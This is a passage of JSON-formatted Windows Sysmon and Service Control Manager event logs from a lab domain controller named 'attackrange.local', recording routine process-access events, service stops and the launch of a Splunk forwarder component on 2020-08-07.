12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6654,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6655,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6656,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6657,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.525\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.525","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6658,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A14A0A00}\r\nTargetProcessId: 1628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A14A0A00}","TargetProcessId":"1628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6659,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A14A0A00}\r\nTargetProcessId: 1628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A14A0A00}","TargetProcessId":"1628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6660,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4268-5F2D-0000-0010A14A0A00}\r\nTargetProcessId: 1628\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4268-5F2D-0000-0010A14A0A00}","TargetProcessId":"1628","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6661,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:40.869\r\nSourceProcessGUID: {90617006-4268-5F2D-0000-0010A9480A00}\r\nSourceProcessId: 3204\r\nSourceThreadId: 1944\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:00:40.869","SourceProcessGUID":"{90617006-4268-5F2D-0000-0010A9480A00}","SourceProcessId":"3204","SourceThreadId":"1944","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76856,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The Windows Insider Service service entered the stopped state.","param1":"Windows Insider Service","param2":"stopped","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76857,"ProcessID":852,"ThreadID":2684,"Channel":"System","Message":"The Update Orchestrator Service for Windows Update service entered the stopped state.","param1":"Update Orchestrator Service for Windows Update","param2":"stopped","EventReceivedTime":"2020-08-07 12:00:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:00:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6662,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:00:41.855\r\nProcessGuid: {90617006-4269-5F2D-0000-00103F530A00}\r\nProcessId: 2284\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:00:41.855","ProcessGuid":"{90617006-4269-5F2D-0000-00103F530A00}","Image":"C:\\Program 